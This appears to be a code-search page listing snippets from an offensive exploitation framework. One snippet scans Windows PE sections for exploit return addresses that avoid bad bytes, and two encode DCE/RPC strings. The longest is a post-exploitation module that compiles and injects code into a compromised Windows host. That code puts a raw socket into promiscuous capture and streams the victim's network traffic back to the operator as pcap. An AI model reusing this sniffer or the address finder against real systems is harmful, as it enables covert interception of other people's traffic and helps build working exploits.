Beispiel #1
0
    def dofile(self, filename):
        import time, os
        filename = filename.lower()
        systemroot = "c:\\WINDOWS"  #os.environ.get("%systemroot%","")
        filename = filename.replace("%systemroot%", systemroot)
        if self.imports.get(filename, 0):
            print "Skipping %s - already done" % filename
            return
        print "dofile doing %s" % filename
        found = 0
        i = 0
        #print "Path= %s"%sys.path
        #hardcore little open file routine
        while not found and i < len(sys.path):
            fullfilename = os.path.join(sys.path[i], filename)
            i += 1
            try:
                #print "Looking for %s"%fullfilename
                rawdata = file(fullfilename, "rb").read()
                found = 1
            except:
                pass

        if not found:
            print "COULD NOT FIND FILE %s" % filename
            return []
            #sys.exit(1)
        myPE = self.openPE(rawdata)
        sections = myPE.Sections
        for section in sections.keys():
            imagebase = myPE.IMGOPThdr.ImageBase
            virtualaddress = sections[section].VirtualAddress
            pointer = sections[section].PointerToRawData
            size = sections[section].SizeOfRawData
            print "Section name: %s pointer=%x size=%x" % (section, pointer,
                                                           size)
            data = rawdata[pointer:pointer + size]
            found = data.find(self.searchstring)
            if found != -1:
                #now we need to make sure there are no bad bytes
                addy = imagebase + virtualaddress + found
                allgood = 1
                for c in intel_order(addy):
                    if self.badbytes.count(c):
                        allgood = 0
                if allgood:
                    print "Badstring: %s" % self.badbytes
                    print "Address: %x" % addy
                    print "Found searchstring in data at reachable address!"
                    print "We're done, baby"
                    sys.exit(1)
                    time.sleep(500)
        #print "Sections: %s"%sections
        self.sections[filename] = sections
        #print "self.sections=%s"%self.sections
        imports = myPE.Imports.keys()
        self.imagebases[filename] = myPE.IMGOPThdr.ImageBase
        self.imports[filename] = 1  #done!
        return imports
Beispiel #2
0
def s_dce_raw_unistring(mystr):
    """
    mystr is already unicoded for us but we null terminate it
    """
    data = ""
    if len(mystr) % 2 != 0:
        logging.debug("Warning, your raw unicode string is not aligned!")
    size = len(mystr) / 2 + 1
    data += intel_order(size)
    data += intel_order(0)
    data += intel_order(size)
    data += mystr + "\x00\x00"
    padding = 4 - len(data) % 4
    if padding != 4:
        data += "\x00" * (padding)

    return data
Beispiel #3
0
def s_dce_wordstring(mystr, nullterm=0):
    """
    turn mystr into a dce string (not null terminated)
    """
    data = ""
    #null terminate if necessary
    if nullterm and mystr[-1] != "\x00":
        mystr += "\x00"

    size = len(mystr)
    data += intel_order(size)
    data += intel_order(0)
    data += intel_order(size)
    data += mystr
    #data+="\x00"
    padding = 4 - len(data) % 4
    if padding == 4:
        padding = 0

    data += "\x00" * (padding)

    return data
Beispiel #4
0
    def run(self):
        self.setInfo("%s (in progress)" % (NAME))
        self.getargs()

        node = self.argsDict['passednodes'][0]
        type = node.nodetype.lower()
        nodename = node.getname()

        if isinstance(node, localNode):
            self.fail('Node of type %s not supported.' % type)
            return 0

        if "win32api" not in node.capabilities:

            return 0

        if type not in ['win32node', 'win64node']:
            self.fail('Node of type %s not supported yet.' % type)
            return 0

        if self.snaplen <= 0:
            self.fail('Error: snaplen should be > 0, aborting..')
            return 0

        self.dirname = self.output(ip=node.get_interesting_interface(),
                                   subdir='pcap_files')

        hostname = node.shell.gethostname()

        if not hostname:
            self.fail('Could not grab hostname, aborting..')
            return 0

        self.log('Remote hostname: %s' % hostname)
        ret, addrs = node.shell.gethostbyname(hostname, parse=False)

        if ret == 0:
            self.fail(addrs)
            return 0

        if not addrs:
            self.fail('Could not get list of remote IP addresses, aborting..')
            return 0

        self.log('=' * 20 + ' ADDRESSES ' + '=' * 20)

        for idx, addr in enumerate(addrs):
            self.log('%d:\t %s' % (idx, socket.inet_ntoa(intel_order(addr))))

        if self.addr_idx < 0 or self.addr_idx > len(addrs) - 1:
            self.fail('Invalid address given, aborting..')
            return 0

        self.log('Initiating packet capture on %s' %
                 socket.inet_ntoa(intel_order(addrs[self.addr_idx])))

        vars = {
            'AF_INET': socket.AF_INET,
            'SOCK_RAW': socket.SOCK_RAW,
            'IPPROTO_IP': socket.IPPROTO_IP,
            'FD': node.shell.fd,
            'ADDR': addrs[self.addr_idx],
            'SNAPLEN': self.snaplen,
        }

        code = """
        #import "REMOTE", "ws2_32.dll|socket"          as "socket"
        #import "REMOTE", "ws2_32.dll|bind"            as "bind"
        #import "REMOTE", "ws2_32.dll|WSAIoctl"        as "WSAIoctl"
        #import "REMOTE", "ws2_32.dll|recv"            as "recv"
        #import "REMOTE", "ws2_32.dll|WSARecv"         as "WSARecv"
        #import "REMOTE", "ws2_32.dll|WSASocketA"      as "WSASocketA"
        
        #import "REMOTE", "ws2_32.dll|select"          as "select"
        #import "REMOTE", "ws2_32.dll|ioctlsocket"     as "ioctlsocket"
        #import "REMOTE", "ws2_32.dll|getpeername"     as "getpeername"

        #import "local", "memset"          as "memset"
        #import "local", "memcpy"          as "memcpy"
        #import "local", "malloc"          as "malloc"
        #import "local", "free"            as "free"
        #import "local", "sendint"         as "sendint"

        #import "local", "sendstring"      as "sendstring"
        #import "local", "writeblock2self" as "writeblock2self"
        """

        if type == 'win32node':
            code = code.replace("REMOTE", "remote")
            code += """
            #import "int", "FD" as "FD"
            """
        else:
            code = code.replace("REMOTE", "local")
            code += """
            #import "local", "sendlonglong"    as "sendlonglong"
            #import "long long", "FD" as "FD"
            """

        code += """
        #import "int",       "AF_INET"    as "AF_INET"
        #import "int",       "SOCK_RAW"   as "SOCK_RAW"
        #import "int",       "IPPROTO_IP" as "IPPROTO_IP"
        #import "int",       "ADDR"       as "ADDR"
        #import "int",       "SNAPLEN"    as "SNAPLEN"

        struct sockaddr_in {
            short   sin_family;
            short   sin_port;
            int     sin_addr;
            char    sin_zero[8];
        };

        struct timeval {
            int tv_sec;
            int tv_usec;
        };

        struct iphdr {
            char  ver;
            char  tos;
            short total_length;
            short id;
            char  frag;
            char  frag_offset;
            char  ttl;
            char  protocol;
            short checksum;
            int   srcaddr;
            int   destaddr;
        };

        struct wsabuf {
            int  len;
            char *buf;
        };
        """

        if type == 'win32node':
            code += """
            struct fd_set {
                int count;
                int fd;
            };
            """
        else:
            code += """
            struct fd_set {
                int count;
                long long fd;
            };
            """

        code += """
        void main()
        {
        """

        if type == 'win32node':
            code += """
            int raw_sock;
            """
        else:
            code += """
            long long raw_sock;
            """
        code += """
            int ret;
            
            int i;
            int k;
            int l;

            struct fd_set read_set;

            char *buf;
        
            struct sockaddr_in dst;
            struct timeval tv;
            struct wsabuf wbuf;
            
            struct iphdr   *ihdr;

            // CREATE RAW SOCKET
            raw_sock = WSASocketA(AF_INET, SOCK_RAW, IPPROTO_IP, 0, 0, 1);
            """
        if type == 'win32node':
            code += """
            sendint(raw_sock);
            """
        else:
            code += """
            sendlonglong(raw_sock);
            """

        code += """
            if (raw_sock == -1) {
                return;
            }

            // BIND RAW SOCKET    
            memset(&dst, 0, 16);
            i = ADDR;
            memcpy(&dst.sin_addr, &i, 4);
            dst.sin_family = AF_INET;
            dst.sin_port = 0;

            ret = bind(raw_sock, &dst, 16);
            sendint(ret);

            if (ret == -1) {
                return;
            }

            // PROMISC SIO_RCVALL
            i = 1;
            k = 0;
            ret = WSAIoctl(raw_sock, 0x98000001, &i, 4, 0, 0, &k, 0, 0);

            sendint(ret);

            if (ret == -1) {
                return;
            }

            // MALLOC
            buf = malloc(SNAPLEN);

            // GETPEERNAME
            i = 16;
            memset(&dst, 0, 16);
            ret = getpeername(FD, &dst, &i);

            sendint(ret);

            if (ret != 0) {
                free(buf);
                return;
            }
            
            sendint(dst.sin_addr);
            sendint(dst.sin_port);

            // CAPTURE LOOP
            while (1) {
                read_set.count = 1;
                read_set.fd = raw_sock;

                tv.tv_sec   = 1;
                tv.tv_usec  = 0;

                ret = select(2, &read_set, 0, 0, &tv);

                if (ret == -1) {
                    sendint(ret);
                    free(buf);
                    return;
                }


                if (ret > 0) {
                    k = 0;
                    l = 0;

                    wbuf.len = SNAPLEN;
                    wbuf.buf = buf;
                
                    ret = WSARecv(raw_sock, &wbuf, 1, &k, &l, 0, 0);

                    if (ret < 0) {
                        sendint(ret);
                        free(buf);
                        return;
                    }

                    ret  = k;
                    ihdr = wbuf.buf;
                
                    if (ihdr->destaddr != dst.sin_addr) {
                        if (ihdr->srcaddr != dst.sin_addr) {
                            sendint(ret);
                            writeblock2self(wbuf.buf, ret);
                        }
                    }
                }

                read_set.count = 1;
                read_set.fd    = FD;

                tv.tv_sec   = 0;
                tv.tv_usec  = 1;

                ret = select(2, &read_set, 0, 0, &tv);


                if (ret > 0) {
                    i = 0;
                    recv(FD, &i, 4, 0);
                    sendint(i);
                    free(buf);
                    return;
                }
            }
        }
        """

        node.shell.clearfunctioncache()
        request = node.shell.compile(code, vars)
        node.shell.sendrequest(request)

        if type == 'win32node':
            raw_sock = node.shell.readint(signed=True)
        else:
            raw_sock = node.shell.readlonglong(signed=True)

        if raw_sock == -1:
            self.fail(
                'Could not create raw socket (permission/access), aborting..')
            node.shell.leave()
            return 0

        self.log('Creating RAW socket: %d' % raw_sock)

        ret = node.shell.readint(signed=True)

        if ret == -1:
            self.fail('Could not bind() raw socket, aborting..')
            node.shell.leave()
            return 0

        ret = node.shell.readint(signed=True)
        if ret == -1:
            self.fail('Could not set SIO_RCVALL, aborting..')
            node.shell.leave()
            return 0

        ret = node.shell.readint()
        if ret != 0:
            self.fail('getpeername: error, aborting..')
            node.shell.leave()
            return 0

        self.log('getpeername: %s:%d' %
                 (socket.inet_ntoa(intel_order(node.shell.readint())),
                  socket.ntohs(node.shell.readint())))

        self.log('Capturing...')

        if self.wireshark == 1: self.make_pcap_pipe()
        self.make_pcap_file()

        try:
            while True:
                try:
                    node.shell.connection.set_timeout(1)
                    status = node.shell.readint(signed=True)
                    node.shell.connection.set_timeout(None)

                    if (status == -1 or status == 0):
                        self.fail('Error during packet capture, aborting..')
                        node.shell.leave()
                        return 0

                    buf = node.shell.readbuf(status)
                    buf = self.rewrite_packet(buf, 1, 1, len(buf))

                    if self.pipe: self.send_to_pipe(buf)
                    if self.file: self.send_to_file(buf)

                except Timeout:
                    node.shell.connection.set_timeout(None)
                    if self.getState() == self.HALT: break
                    continue
        except KeyboardInterrupt:
            node.shell.connection.set_timeout(None)
            self.log('Caught CTRL-C, aborting..')

        self.terminate(node)
        self.setInfo("%s - done (success)" % (NAME))
        return 1